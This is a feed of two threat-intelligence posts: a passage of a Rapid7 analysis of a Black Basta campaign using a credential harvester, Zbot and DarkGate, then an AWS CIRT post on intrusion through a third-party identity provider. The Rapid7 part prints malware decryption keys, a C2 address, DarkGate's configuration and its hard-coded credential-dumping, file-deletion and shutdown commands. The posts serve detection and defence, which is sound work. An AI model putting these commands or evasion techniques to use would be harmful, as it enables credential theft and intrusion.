Figure 1. A QR code (obfuscation by Rapid7) sent by an operator.

In a majority of cases, Rapid7 has observed that the operator, after gaining access to the user’s asset via RMM tool, will then attempt to download and execute additional malware payloads. In one case handled by Rapid7, the operator requested more time — potentially to hand off the access to another member of the group.

Black Basta Ransomware Campaign Drops Zbot, DarkGate, and Custom Malware
Figure 2. An operator stalls for time.

The payload delivery methods vary per case, but have included external compromised SharePoint instances, common file sharing websites, servers rented through hosting providers, or even direct upload to the compromised asset in the case of RMM tool remote control. In one case, the operator used the group’s custom credential harvester to dump the user’s credentials, the results for which were subsequently uploaded to a file sharing site — publicly exposing the stolen credentials. SharePoint has been used to distribute copies of AnyDesk portable, likely to circumvent security measures that would prevent the user from downloading it directly from anydesk[.]com. Such attempts have been blocked by web proxy in previous cases.

The overall goal following initial access appears to be the same: to quickly enumerate the environment and dump the user’s credentials. When possible, operators will also still attempt to steal any available VPN configuration files. With the user’s credentials, organization VPN information, and potential MFA bypass, it may be possible for them to authenticate directly to the target environment.

Rapid7 has observed usage of the same credential harvesting executable, previously reported as AntiSpam.exe, though it is now delivered in the form of a DLL and most commonly executed via rundll32.exe. Whereas before it was an unobfuscated .NET executable, the program is now commonly contained within a compiled 64-bit DLL loader. Rapid7 has analyzed at least one sample that has also been obfuscated using the group’s custom packer. The newest versions of the credential harvester now save output to the file 123.txt in the user’s %TEMP% directory, an update from the previous qwertyuio.txt file, though versions of the DLL distributed earlier in the campaign would still output to the previous file.

Black Basta Ransomware Campaign Drops Zbot, DarkGate, and Custom Malware
Figure 3. The credential harvesting prompt shown to the user upon executing the DLL (redaction by Rapid7).

The credential harvester is most commonly followed by the execution of a loader such as Zbot (a.k.a. Zloader) or DarkGate. This can then serve as a gateway to the execution of subsequent payloads in memory, facilitate data theft, or otherwise perform malicious actions. Rapid7 has also observed operators distributing alternate payload archives containing Cobalt Strike beacon loaders and a pair of Java payloads containing a user credential harvester variant and a custom multi-threaded beacon by which to remotely execute PowerShell commands. In some cases, operators have sent the user a short command, via Teams, which will then begin an infection chain after execution by the targeted user.

Rapid7 continues to observe inconsistent usage of the group’s custom packer to deliver various malware payloads, including their custom credential harvester. A YARA rule is now publicly available that can be used to detect the packer. For example, this packer was used to deliver several obfuscated versions of Black Basta ransomware, obtained via open source intelligence, which directly links operators to the ongoing social engineering campaign.

At the time of writing, the threat actors behind the campaign continue to update both their strategy for gaining initial access and the tools subsequently used. For example, around the time the most recent campaign activity began, Rapid7 observed the delivery of a timestamped and versioned payload archive, 171024_V1US.zip (2024-10-17, version 1, US), which, when compared to a more recently delivered archive, 171124_V15.zip (2024-11-17, version 15), highlights the rapid iteration being undertaken. Many of the payloads being delivered follow a similar pattern as previous activity and often consist of a legitimate file where an export or function entry point has been overwritten to jump to malicious code, and the result is signed with a likely stolen code signing certificate.

Intrusions related to the campaign should be taken seriously — the intent goes beyond typical phishing activity. Past campaign activity has led to the deployment of Black Basta ransomware. While Rapid7 has handled a high volume of incidents related to the current social engineering campaign across a variety of customer environments, to date, every case has been contained before the operator was able to move laterally beyond the targeted user’s asset.

Technical Analysis

Initial Access

Each attack is preceded by the targeted user receiving an often overwhelming amount of emails. An operator will then attempt to contact the user via Microsoft Teams, either via messaging or calling, by which they will pretend to offer assistance. Operators will attempt to impersonate the organization’s help desk, such as using the names of existing staff members.

During this social engineering stage, operators often need to troubleshoot with the user to establish remote control of the user’s asset. Based on the environment, for example, RMM tool downloads or execution may be blocked (often some, but not all) or QuickAssist may be disabled, causing the operator to cycle through their options at establishing a foothold. One of the most common first steps after gaining either the confidence of the user, or remote access, is to execute a custom credential harvester.

Credential Harvesting

The credential harvester used by operators, for example SafeStore.dll (SHA256: 3B7E06F1CCAA207DC331AFD6F91E284FEC4B826C3C427DFFD0432FDC48D55176), is an updated version of the previously analyzed program AntiSpam.exe. The DLL variant of the credential harvester is executed by a command like the following example:

rundll32.exe SafeStore.dll,epaas_request_clone

The module will quickly execute three enumeration commands to gather system information — systeminfo, route print, ipconfig /all — and then prompt the user for their password. The user’s credentials are appended onto a new line of the text file 123.txt with each attempt, after the enumeration command output, regardless of whether the credentials are correct. If the user enters the wrong password, they will be prompted to try again. The output for the enumeration commands and the user’s credentials were saved to the file qwertyuio.txt in older versions of the harvester, but are now saved to 123.txt, within the user’s %TEMP% directory. The enumeration commands within the updated version are executed via successive calls to CreateProcessA.

Black Basta Ransomware Campaign Drops Zbot, DarkGate, and Custom Malware
Figure 4. Success and failure messages for the credential harvester.

Based on analysis of one credential harvester sample, EventCloud.dll, the program was present in shellcode form. The shellcode is decrypted from the Cursor Group 880 resource embedded within the executable, using the XOR key 5A 3C 77 6E 33 30 4D 38 4F 38 40 78 41 58 51 30 42 5F 3F 67 71 00, and then injected locally. The following strings which were extracted from the shellcode show the output file and list dynamically loaded libraries:

Credential Harvester Strings
cmd.exe /c %s%s %s%s%s%s 123.txt ooki
Update filter kb_outl Need credentials to update… Username: Password:
ntdll.dll Gdi32.dll user32.dll msvcrt.dll ucrtbase.dll
Comctl32.dll Advapi32.dll kernel32.dll

The Java variant of the credential harvester, identity.jar, provides a similar prompt to the user, though when a password is entered it is appended, without the username, to a .txt file with a random 10-letter alphabetic name to the current working directory. The cancel button on the prompt, shown below, is not functional and the prompt is drawn on top of other windows, meaning that it will not close until the user has entered their password correctly.

Black Basta Ransomware Campaign Drops Zbot, DarkGate, and Custom Malware
Figure 5. The credential harvesting prompt created by `identity.jar`.

Malware Payloads

Following execution of a credential harvester, an operator will typically infect the asset with Zbot or DarkGate. One of the Zbot samples delivered after initial access, SyncSuite.exe (SHA256: DB34E255AA4D9F4E54461571469B9DD53E49FEED3D238B6CFB49082DE0AFB1E4) contains similar functionality and strings to other Zbot/Zloader samples previously reported by ZScaler. However, in addition to previously observed strings, the sample also contains encrypted strings for an embedded command help menu, error messages, and more. Rapid7 observed the embedded malware version was 2.9.4.0.

Upon execution, the malware will copy itself to a random folder within the %APPDATA% directory. If the file does not have its original filename however, the process will immediately exit. The malware also contains the functionality to establish persistence either via a Run key at HKCU\Software\Microsoft\Windows\CurrentVersion\Run or a scheduled task named after the executable, which executes the malware copy in %APPDATA% whenever the user logs on. After collecting the hostname, username, and the installation date from the InstallDate value contained within the registry key HKLM\Software\Microsoft\Windows NT\CurrentVersion, this data is concatenated (delimited by underscore characters) and encrypted, along with other config information. It is then stored within the user’s registry inside a random key created at HKCU\Software\Microsoft\. The analyzed sample will also load a fresh copy of ntdll.dll to avoid hooking, which is then used to perform calls to NTAPI functions. SyncSuite.exe ultimately injects itself into a suspended instance of msedge.exe, created using NtCreateUserProcess and executed via ResumeThread, a technique known as Process Hollowing.

All of the strings used by the malware are stored encrypted within the .rdata section along with the configuration. The strings are decrypted using an obfuscated loop that is ultimately a simple XOR operation with the hard coded key 16 EB D5 3E AA E6 51 09 14 D3 DF 18 AD D6 1B BD BE, which is also stored in the .rdata section. The configuration is decrypted using an RC4 key, F3 F9 F7 FB FA F3 F7 F7 FF F5 F2 F3 FA FD FE F2 for this sample. The decrypted configuration for SyncSuite.exe can be seen below, with empty rows removed. The configuration contains a different public RSA key and botnet ID than the one previously shared by ThreatLabz, indicating that the campaign is being run by a different affiliate. All decrypted strings from SyncSuite.exe can be seen in the Zbot Strings section following other Indicators of Compromise.

Black Basta Ransomware Campaign Drops Zbot, DarkGate, and Custom Malware
Figure 6. The decrypted Zbot configuration for `SyncSuite.exe` (1264 bytes).

Rapid7 has also observed the delivery of DarkGate malware following initial access. One payload archive contained both a DarkGate infection initiation script, test.vbs, and an executable copy of the DarkGate malware itself, SafeFilter.exe (SHA256: EF28A572CDA7319047FBC918D60F71C124A038CD18A02000C7AB413677C5C161 ), though this copy is packed using the group’s custom packer. The final payload containing the DarkGate malware, after several layers of decrypting and loading, contains the version string 7.0.6. If the folder c:\debugg exists on the system when the malware is executed it will display the version number via MessageBoxA. The configuration for this sample can be seen below along with hard coded commands. Notably, the campaign ID for the sample appears to be drk2.

Black Basta Ransomware Campaign Drops Zbot, DarkGate, and Custom Malware
Figure 7. DarkGate displays its version using a debug message box.

The configuration is decrypted with the key ckcilIcconnh within a customized XOR loop near the beginning of execution to reveal CRLF delimited options. However, due to the implementation of the decryption loop, the keyspace is effectively reduced to that of a single byte (0-255), after the first byte. This makes the XOR key for the majority of the config 0x60, for this sample allowing for the encrypted data to be trivially bruteforced.

| SafeFilter.exe DarkGate Config |-|

Key-Value Pair Description
0=179.60.149[.]194| C2 domains or IP addresses, delimited with ‘|’ characters
8=No If enabled and the file C:\ProgramData\hedfdfd\Autoit3.exe does not exist, call MessageBoxTimeoutA using keys 11 and 12 and a timeout of 1770ms.
11=Error Used by key 8 as a message box title.
12=PyKtS5Q The string Error, base64 encoded with the custom alphabet zLAxuU0kQKf3sWE7ePRO2imyg9GSpVoYC6rhlX48ZHnvjJDBNFtMd1I5acwbqT+=. Used by key 8 as a message box caption.
13=6 Unknown
14=Yes Unknown
15=80 C2 communication port.
1=Yes Enables infection.
32=Yes If enabled, attempt bypass of detected security products. For example, enables calls to RtlAdjustPrivilege and NtRaiseHardError to cause a crash if hdkcgae is not present in C:\temp\ and a Kaspersky product has been detected.
3=No If disabled, do an anti-vm display check.
4=No If enabled, compare system drive size to key 18. If below, exit.
18=100 Minimum drive size in GB.
6=No If enabled and key 3 is disabled, check the display for known virtual machine display strings using EnumDisplayDevicesA. If matched, exit. Failed to match properly when tested.
7=No If enabled, compare system RAM to key 19. If below, exit.
19=4096 Minimum RAM size in MB.
5=No If enabled, check the registry key ProcessorNameString at HKLM\HARDWARE\DESCRIPTION\System\CentralProcessor\0 for xeon. If found, exit.
21=No Unknown
22 Not present in the config for this sample, but is still checked for in the code. If enabled, set the variant string to DLL, otherwise ?.
23=Yes If enabled, set the variant string to AU3 for Autoit3 payloads.
31=No If enabled, set the variant string to AHK for AutoHotKey payloads.
25=drk2 Campaign ID
26=No Unknown
27=rsFxMyDX Decryption key, also used to bound/find payloads stored within other files.
28=No Unknown
29=2 Unknown
35=No Unknown
tabla=IsUiPQ4&atzM5N=0($"3]TGfyK8JYwvO61SAF{ndrDuol29*RkmqCpgxeX[EH,V)}7jbZBc.WLh Unknown
DarkGate Hard-coded Commands
/c cd /d "C:\Users\User\AppData\Roaming<browser_dir>" && move <browser_name> <browser_name><random_alphabet_string>
/c cd /d "C:\Users\User\AppData\Local" && move <browser_name> <browser_name><random_alphabet_string>
/c cmdkey /delete:
/c cmdkey /list > c:\temp\cred.txt
/c del /q /f /s C:\Users\User\AppData\Roaming\Mozilla\firefox*
/c ping 127.0.0.1 & del /q /f /s c:\temp & del /q /f /s C:\ProgramData\hedfdfd\ & rmdir /s /q C:\ProgramData\hedfdfd\
/c shutdown -f -r -t 0
/c shutdown -f -s -t 0
/c wmic ComputerSystem get domain > C:\ProgramData\hedfdfd\fcadaab

During execution, DarkGate will hash certain strings and use the result to create or check files at the directories C:\ProgramData\hedfdfd(mainfolder) and C:\temp\. The hashing algorithm uses a randomized key generated at runtime, so the hashes across infections will be different. Commonly used strings and their resultant hash, for the analysis environment, are shown below.

Path String DarkGate Custom Hash
mainfolder hedfdfd
logsfolder fhhcfhh
settings dhkbbfc
domain fcadaab
mutex0 hfgdced
mutex1 cekchde
au3 dgfeabe
c.txt adfcbdd
cc.txt dehgaba
script daaadeh
fs.txt hdkcgae

DarkGate may also change its behavior if a known security product is detected. This is achieved by using CreateToolhelp32Snapshot and related functions to loop through running processes which are compared to a hard-coded list. The malware will also check for known installation directories using GetFileAttributesA. If a security product is found, a flag will be set which may alter the execution path. Only the following products had associated flags:

DarkGate “Supported” Security Products
Windows Defender Sophos Quick Heal MalwareBytes Panda Security
Norton/Symantec ESET/Nod32 Kaspersky Avast SentinelOne
Bitdefender

At the end of the first execution of the DarkGate payload, it will then attempt to inject itself into a host process. First, DarkGate will select the injection target by searching a list of hard coded directories for any executable that contains the string updatecore.exe, subdirectories included. The path C:\Program Files (x86)\Microsoft\EdgeUpdate\ is searched first, with the fallback being C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe. If a matching Edge executable is not found, the path C:\Program Files (x86)\Google\Update\ is then searched. If that also fails, the malware will attempt to use C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe.

After successfully choosing the injection target, DarkGate will then inject itself into the target process using shellcode, terminating the original instance of the final DarkGate payload after executing the shellcode. When creating an instance of the target process to inject, DarkGate will also attempt to spoof the parent process ID (PPID) of the injection target by enumerating running processes for accessibility using OpenProcess and then randomly selecting one from an assembled list. The PPID of the target is then updated using UpdateProcThreadAttribute prior to creation with CreateProcessA.

Execution of the injected process is coordinated by checking for the presence of two file based mutexes within C:\ProgramData\hedfdfd\ (mainfolder). Each instance of the DarkGate malware checks both of the file-based mutexes. The file mutex usage is checked via calls to CreateFileA using an exclusive share mode flag (0) and a creation disposition of CREATE_ALWAYS, which means that if the mutex is already in usage by another DarkGate instance the call will fail. If the call to both mutexes created by DarkGate, hfgdced and cekchde, fails, DarkGate will exit. As a result of having two mutexes, DarkGate will typically run within two injected process instances at the same time, so if one process is terminated, the remaining instance will spawn another. If a DarkGate instance is spawned and both calls to open the file based mutexes fail, indicating two existing DarkGate instances, the new instance will terminate. This technique is rarely used by malware developers and highlights the sophistication of DarkGate malware.

DarkGate will unconditionally log keystrokes as well as clipboard data that is under 1024 bytes. The logged data is stored encrypted at C:\ProgramData\hedfdfd\fhhcfhh (mainfolder\logsfolder) within files named <date>.log. The logged data may be sent directly to the C2 address contained within the config. A thread is also created to persist on infected systems by creating the Run key daaadeh (script) at HKCU\Software\Microsoft\Windows\CurrentVersion\Run. The Run key will point to the copies of Autoit3.exe and the compiled AU3 script payload dgfeabe.a3x (au3) created at C:\ProgramData\hedfdfd (mainfolder), with the former executing the latter every time the user logs on. When the AU3 script is executed, DarkGate reinfects the system. The thread continuously monitors the text within the infected user’s active window however, sleeping 1500ms between checks, and will delete the registry key if a blacklisted application is detected. This list includes popular analysis tools such as Process Hacker, Process Monitor, Task Manager, and even the Windows Registry Editor.

The DarkGate sample executed by SafeFilter.exe contains 78 remote commands, some of which can be seen below with their intended function. Every loop, the malware will re-send the text of the active window, user idle time, and whether or not the malware instance has admin rights, before checking for a command.

Command ID Function
1000 Sleep for a randomized amount of time.
1004 Use MessageBoxA to display the message test msg.
1044,1045,1046 Click the user’s mouse at specified screen coordinates using SetCursorPos and successive calls to mouse_event. 1044 for double left-click. 1045 for single left click. 1046 for single right click.
1049 Create a remote shell via powershell.exe.
1059 Terminate process by PID.
1061 Inject DarkGate shellcode into a specified process or an Edge/Chrome process if none is selected. The shellcode is then executed via ResumeThread.
1062,1063,1064 Inject DarkGate shellcode into a specified process or cmd.exe if none is selected. The shellcode is then executed via CreateRemoteThread.
1066 Remove infection files by using cmd.exe to delete the staging directories C:\ProgramData\hedfdfd and c:\temp\.
1071 Steal sitemanager.xml and recentservers.xml from %APPDATA%\FileZilla\ if present.
1079 If admin, delete stored credentials found using cmdkey.
1080 Rename browser directories for Firefox, Chrome, and Brave if present after terminating the related browser executable. Attempt to steal Opera cookies if present, after terminating the process.
1081 Use NTAPI calls RtlAdjustPrivilege and NtRaiseHardError to crash the system.
1083 Use the shutdown command to turn the system off.
1084 Use the shutdown command to restart the system.
1089 If 1=Yes in config, reinfect system with AU3 payloads.
1093 Create a remote shell via cmd.exe.
1097 Infect system with AU3 variant. Creates the files script.a3x and Autoit3.exe in c:\temp and then executes script.a3x via Autoit3.exe using CreateProcessA.
1104 Infect system with AHK variant. Creates the files script.ahk, test.txt, and AutoHotkey.exe in c:\temp and then executes script.ahk via AutoHotkey.exe using CreateProcessA.
1108 Infect system with DLL variant. Creates the files libcurl.dll, test.txt, and GUP.exe in c:\temp and then executes GUP.exe via CreateProcessA.
1111 Create the files ransom.txt and decrypter.exe in c:\temp. Terminate decrypter.exe if already running and then execute decrypter.exe using CreateProcessA. Likely ransomware deployment method.
DarkGate Remote Command Related Strings
U_Binder U_BotUpdate U_Constantes U_FTPRecovery U_FileManager
U_FileManagerMisc U_GetScreens U_HVNC U_HVNC_7
U_HWID U_InfoRecovery U_InjectOnFly U_Keylogger U_LNKStartup
U_MemExecute U_MemExecuteMisc U_RemoteScreen U_SysApi U_SysNtReadWrite
U_miniclipboard u_AntiAntiStartup u_Antis u_AudioRecord u_CustomBase64
u_ExtraMisc u_HollowInstall u_InjectEP u_InvokeBSOD u_RDPRecovery
u_Ransomware u_ReadCookies u_ReverseShell u_RootkitMutex u_Settings
u_SettingsPad u_ShellcodeEP u_UnlockCookies u_loadpe hxxps://ipinfo[.]io/ip

Mitigation Guidance

Rapid7 recommends taking the following precautions to limit exposure to these types of attacks:

  • Restrict the ability for external users to contact users via Microsoft Teams to the greatest extent possible. This can be done for example by blocking all external domains or creating a white/black list. Microsoft Teams will allow all external requests by default. For more information, see this reference.
  • Standardize remote management tools within the environment. For unapproved tools, block known hashes and domains to prevent usage. Hash blocking can be done, for example, via Windows AppLocker or an endpoint protection solution.
  • Provide user awareness training regarding the social engineering campaign. Familiarize users with official help desk and support procedures to enable them to spot and report suspicious requests.
  • Standardize VPN access. Traffic from known low cost VPN solutions should be blocked at a firewall level if there is no business use case.

Rapid7 Customers

InsightIDR, Managed Detection and Response, and Managed Threat Complete customers have existing detection coverage through Rapid7’s expansive library of detection rules. Rapid7 recommends installing the Insight agent on all applicable hosts to ensure visibility into suspicious processes and proper detection coverage. Below is a non-exhaustive list of detections that are deployed and will alert on behavior related to this activity:

Detections
Suspicious Chat Request – Potential Social Engineering Attempt
Initial Access – Potential Social Engineering Session Initiated Following Chat Request
Suspicious Conversation – Potential Social Engineering Message Interaction
Attacker Technique – Process Executed Using Nt Object Path
Suspicious Process – Enumeration Burst via ShellExecute
Attacker Technique – Renamed Kaspersky Dump Writer
Ransomware – Possible Black Basta Related Binary Execution
Credential Access – Steal or Forge Kerberos tickets
Suspicious Process – Diskshadow (Windows Server) Delete Shadow Copies
Non-Approved Application – Remote Management and Monitoring (RMM) Tools

MITRE ATT&CK Techniques

Tactic Technique Procedure
Resource Development T1587.001: Develop Capabilities: Malware The threat actor is actively developing new malware to distribute.
Impact T1498: Network Denial of Service The threat actor overwhelms email protection solutions with spam.
Initial Access T1566.004: Phishing: Spearphishing Voice The threat actor calls impacted users and pretends to be a member of their organization’s IT team to gain remote access.
Defense Evasion T1140: Deobfuscate/Decode Files or Information The threat actor encrypts some zip archive payloads with a password.
Defense Evasion T1055.002: Process Injection: Portable Executable Injection Multiple payloads executed by the threat actor utilize local PE injection.
Defense Evasion T1620: Reflective Code Loading Multiple payloads executed by the threat actor load and execute shellcode.
Credential Access T1649: Steal or Forge Authentication Certificates The threat actor has distributed numerous signed malware payloads.
Credential Access T1056.001: Input Capture: Keylogging The threat actor runs an executable that harvests the user’s credentials.
Credential Access T1558.003: Steal or Forge Kerberos Tickets: Kerberoasting The threat actor has performed Kerberoasting after gaining initial access.
Discovery T1033: System Owner/User Discovery The threat actor enumerates asset and user information within the environment after gaining access.
Command and Control T1572: Protocol Tunneling The threat actor has attempted to use SSH reverse tunnels.
Command and Control T1219: Remote Access Software The threat actor has used QuickAssist, AnyDesk, ScreenConnect, TeamViewer, Level, and more, to facilitate remote access.

Indicators of Compromise

All indicators of compromise are available at the Rapid7 Labs Github repository.

Unauthorized tactic spotlight: Initial access through a third-party identity provider

Post Syndicated from Steve de Vera original https://aws.amazon.com/blogs/security/unauthorized-tactic-spotlight-initial-access-through-a-third-party-identity-provider/

Security is a shared responsibility between Amazon Web Services (AWS) and you, the customer. As a customer, the services you choose, how you connect them, and how you run your solutions can impact your security posture.

To help customers fulfill their responsibilities and find the right balance for their business, under the shared responsibility model, AWS provides strong default configurations, offers guidance such as the AWS Well-Architected Framework and Customer Compliance Guides, and offers a number of security services.

As part of our work, the AWS Customer Incident Response Team (AWS CIRT) observes tactics and techniques used by various threat actors that leverage unintended customer configurations. Understanding these tactics can help inform your design decisions, help improve your response plans, and help you detect these situations if they occur in your environment.

This blog post dives into some of the recent techniques used by threat actors that leverage specific customer configurations or design to make unauthorized use of resources within an AWS account. We’ll explain the techniques, the customer configurations that created the opportunity, and the AWS features and services you can use to help mitigate the impact of the tactics.

Technique overview

Identity federation is a system of trust between two parties for the purpose of authenticating users and conveying the information needed to authorize their access to resources. In simpler terms, this optional feature allows you to use one central system (an identity store) for all of your users and groups (note that it is possible to configure more than one identity provider for a given AWS account at one time if you wish to do so). You can then grant those identities permissions to your AWS resources by using that trust relationship.

Prerequisites for the event

In order for a threat actor to gain initial access into an AWS account during this type of security event, a third-party IdP must be configured to manage access to an AWS account (or a series of AWS accounts in an organization) through federation. The threat actor must also have gained the ability to write to the customer’s identity store with the third-party IdP (for example, they can create a user, have compromised a sufficiently privileged user, and so on).

When an IdP is configured to access an AWS account, permissions to access resources within that AWS account can be granted to users that have been authenticated by the IdP. This means that AWS uses the preconfigured trust with the IdP when it comes to performing the user identification (such as username, password, and multi-factor authentication (MFA)). With this technique, the threat actor uses the third-party IdP user’s access to obtain authenticated access to modify and create resources in the customer’s linked AWS accounts. This scenario is possible if, for example, the threat actor can create a user in the IdP’s identity store, or if they have obtained access to a privileged user’s credentials already in the identity store.

Detection and analysis opportunities

There are multiple ways that you may be able to find evidence of threat actors’ activities in this type of scenario. The challenge for customers is differentiating between the actions taken by a threat actor, and actions taken in the course of normal operations. The primary source of evidence for customer actions and threat actor activities is AWS CloudTrail, though Amazon GuardDuty and AWS Config also have detections that may be of assistance.

AWS CloudTrail

Your investigation should start by reviewing the CloudTrail event history for specific API calls. The following is a list of some calls (including various request parameters and field values) that have been associated with this tactic.

Remember, during security events there may be other API calls present that could indicate potential threat actor activity. In this post, we’re focusing only on the API calls related to this initial access tactic.

In the organization management account, threat actors leverage actions such as the following:

  1. UpdateTrail – This action is used to update CloudTrail trail settings, such as what events you are logging, and which bucket is to be used for log delivery. Threat actors use this API endpoint to change or reduce the logging of subsequent API calls.
  2. PutEventSelectors – This API call is used to configure which events are selected for a specific CloudTrail trail. AWS CIRT has observed this situation in cases where event selections were configured to deactivate logging for management events for trails configured in some accounts, and to only log read-only events in others (as opposed to write events such as DeleteBucket and RunInstances). The requestParameters field in the event record outlines which selectors were requested for configuration, as shown in Figure 1.
    Figure 1: Event selectors set to ReadOnly

    Figure 1: Event selectors set to ReadOnly

    Figure 2 displays a CloudTrail event record for the PutEventSelectors action where the includeManagementEvents parameter is set to false.

    Figure 2: Event selectors with the includeManagementEvents parameter set to false

    Figure 2: Event selectors with the includeManagementEvents parameter set to false

  3. StartSSO – This action is recorded when IAM Identity Center is initialized by the threat actor to expand their access into the organization. This event is significant, because this is an uncommon action and can raise awareness of potential malicious activity if this event was not authorized earlier.
  4. CreateUser – This API call is logged when the threat actor creates a user. While the CreateUser action can use an eventSource of iam.amazonaws.com, when the CreateUser API is issued by an identity store, the eventSource will be listed as sso-directory.amazonaws.com. The record for this event, shown in Figure 3, does not actually contain the name of the user created. However, it does contain elements that you can use to determine the username for the user created.
  5. Figure 3: CloudTrail event record for CreateUser event

    Figure 3: CloudTrail event record for CreateUser event

    Using the AWS CLI, you can retrieve the actual username requested by the CreateUser action by using the identityStoreId and the userId in the following command:

    aws identitystore list-users --identity-store-id <insert_identityStoreId> --query 'Users[?UserId==`<insert_userId>`].UserName'

    Figure 4 shows the results of using the command.

    Figure 4: Determining an identity store username from UserId

    Figure 4: Determining an identity store username from UserId

    Use this username to filter the CloudTrail event history in the member accounts. That will reduce the events shown to just those taken by this specific user, making it easier to map out the actions taken during this event.

  6. CreateGroup and AddMemberToGroup – The first action creates a group within a specified identity store, and the second action adds members to it (note that these two specific actions use an event source of sso-directory.amazonaws.com).
  7. CreatePermissionSet – This action creates a set of permissions within a specified IAM Identity Center instance that can be applied to a member account in an organization to enable access to resources in that member account. The duration of sessions authorized by the permission set is indicated by the sessionDuration value (in the example in Figure 5, this is set to the maximum duration of 12 hours).
  8. Figure 5: CloudTrail event record for CreatePermissionSet action

    Figure 5: CloudTrail event record for CreatePermissionSet action

    To find out specifically what policies were assigned during the permission set creation, you can look for the permission set in the AWS Management Console, or use the AWS CLI command aws sso-admin list-managed-policies-in-permission-set, using the IAM Identity Center instance ARN and permission set ARN as parameters. (This CLI command displays only AWS managed policies. To see customer managed policies or inline policies, use the aws sso-admin get-inline-policy-for-permission-set or the aws sso-admin list-customer-managed-policy-references-in-permission-set CLI commands). Figure 6 shows the output of this command.

    Figure 6: Determining policy for permission set

    Figure 6: Determining policy for permission set

  9. CreateAccountAssignment – This API call assigns access to a principal for an AWS member account that uses a specified permission set, usually the permission set created in the previous action. The request parameters for this action, shown in Figure 7, include the member account ID in the targetId field, the permissionSetArn, and the principalType – either a USER or GROUP. This activity was logged multiple times—each one for a different target member account.

    Figure 7: CloudTrail event for CreateAccountAssignment

    Figure 7: CloudTrail event for CreateAccountAssignment

  10. When the threat actor calls the CreateAccountAssignment action in the organization’s management account, the following actions are automatically taken in the organization’s member accounts:

    1. CreateSAMLProvider – Creates an identity provider that supports SAML 2.0.
    2. AttachRolePolicy – Attaches the specified managed policy to the specified IAM role.
    3. CreateRole – Creates a new role in your AWS account.
    4. CreateAccessKey – This action was used to create an access key for a user under the control of the threat actor.
  11. GetFederationToken – The threat actor assumed the identity of the user referenced in the previous step for which access keys were created, then called the GetFederationToken API action to create temporary credentials. These temporary credentials were then used by the threat actor to continue making unauthorized actions under a new name as identified by the –name parameter specified in the GetFederationToken event that is logged in CloudTrail (see Figure 8). The GetFederationToken event also includes other details, such as the policy that was assigned to the session, the duration of the session, and the accessKeyID generated from the GetFederationToken invocation.

    Figure 8: CloudTrail event for GetFederationToken

    Figure 8: CloudTrail event for GetFederationToken

  12. CredentialChallenge, CredentialVerification, and UserAuthentication – These actions are part of the IAM Identity Center sign-in procedure and are displayed in CloudTrail when users sign in with IAM Identity Center.
  13. Authenticate – This API call is associated with the IAM Identity Center sign-in procedure and indicates which user is authenticated by the event in the userIdentity.userName field in the CloudTrail event record, as shown in Figure 8.

    Figure 9: Name of user being authenticated

    Figure 9: Name of user being authenticated

  14. Federate – This API call is logged in CloudTrail when a user signs in with the IAM Identity Center AWS Access Portal and selects the Management console option, as shown in Figure 9. (A Federate event is not recorded if the Command line or programmatic access option is selected.)

    Figure 10: Signing in through the AWS Access Portal

    Figure 10: Signing in through the AWS Access Portal

  15. Additionally, you may see the following actions associated with this tactic in an organization’s member accounts:

  16. AssumeRoleWithSAML – This event record is related to the CreateSAMLProvider action taken in step 7a. It returns a set of temporary security credentials for users who have been authenticated through a SAML authentication response.
  17. ConsoleLogin – This action is recorded by CloudTrail when a user signs in to the AWS Management Console.

Amazon GuardDuty

If Amazon GuardDuty is turned on, a finding of Stealth:IAMUser/CloudTrailLoggingDisabled will be triggered when a CloudTrail trail is configured to stop logging. GuardDuty can also inform you of anomalous API requests observed in your account with the InitialAccess:IAMUser/AnomalousBehavior finding type. For more information on finding types, see Understanding Amazon GuardDuty findings.

AWS Config

You can configure AWS Config rules to monitor and evaluate the compliance of specific AWS configurations. For example, the cloudtrail-security-trail-enabled rule will check for CloudTrail trails that are defined according to security best practices, such as recording both read and write events, and recording management events. You can then configure these rules with an Amazon Simple Notification Service (Amazon SNS) topic to deliver notifications in the event of non-compliance. It is also possible to create custom rules in AWS Config to monitor and evaluate additional configurations. For further information on how to create AWS Config Custom rules, see AWS Config Custom Rules.

Mitigating the impact of the event

If the threat actor has an ability to write to your identity store, whether through a compromised third-party provider, a compromised identity store, or because the threat actor created the identity store, you need to make sure that you are in control of privileged actions. It’s your top priority to establish authority over your AWS Organizations organization before attempting to remove the federated access vector. The threat actor can undermine any remediation you perform if they persist in your organization’s management account.

The actions that are aligned with these top priorities are the following:

  1. Control of the organization’s management account root user: If you do not have control of the password and the MFA token (or tokens) for the management account root user, contact AWS support.
  2. If you do have control of the management account root user, make sure that you are in control of all enabled MFA devices for the root user, remove any and all access keys, and immediately rotate the password. See the IAM User Guide for current root user recommendations.

  3. Enforcement of control over an environment that is using AWS Organizations: The level of enforcement you apply in the early stages of your mitigation efforts will be determined by your business continuity plans, because these enforcement actions can disrupt your workloads.
    1. If you can tolerate the prevention of new, mutating actions from being taken within your organization, you can apply the following service control policy (SCP) to your organizational root. An important point to note is that SCPs do not apply to the management account, which is why our recommendations state, “use the management account only for tasks that require the management account.” This SCP enforces its constraints only for the child organizational units (OUs) and accounts of the organizational root, which is why the first step in this impact mitigation process was making sure that you control the root user for the management account.
      {
          "Version": "2012-10-17",
          "Statement": [
            {
              "Sid": "DenyAllActionsBreakGlass",
              "Effect": "Deny",
              "Action": [
                "*"
              ],
              "Resource": "*",
              "Condition": {
                "ArnNotLike": {
                  "aws:PrincipalARN": [
                    "arn:aws:iam::111122223333:role/exempt-ir-role-breakglass1",
                    "arn:aws:iam::111122223333:role/exempt-ir-role-breakglass2"
                ]
              }
            }
          }
        ]
      }

      Within this SCP, you can see an exemption made for two break-glass roles. Where break-glass access is needed, these roles will need to be created before the SCP is applied. Break-glass access refers to a quick means for a person who does not have access privileges to certain AWS accounts to gain access in exceptional circumstances by using an approved process. (For more information on creating break-glass access for your organization, see this AWS whitepaper).

    2. If you only have tolerance for a partial disruption of non-critical or production workloads, you can reduce and adjust the scope of the SCP to your tolerance level. Apply the same SCP only to those non-production, non-critical organizational units, or even only on individual AWS accounts, as shown in Figure 10.

      Figure 11: AWS Organizations levels for service control policies

      Figure 11: AWS Organizations levels for service control policies

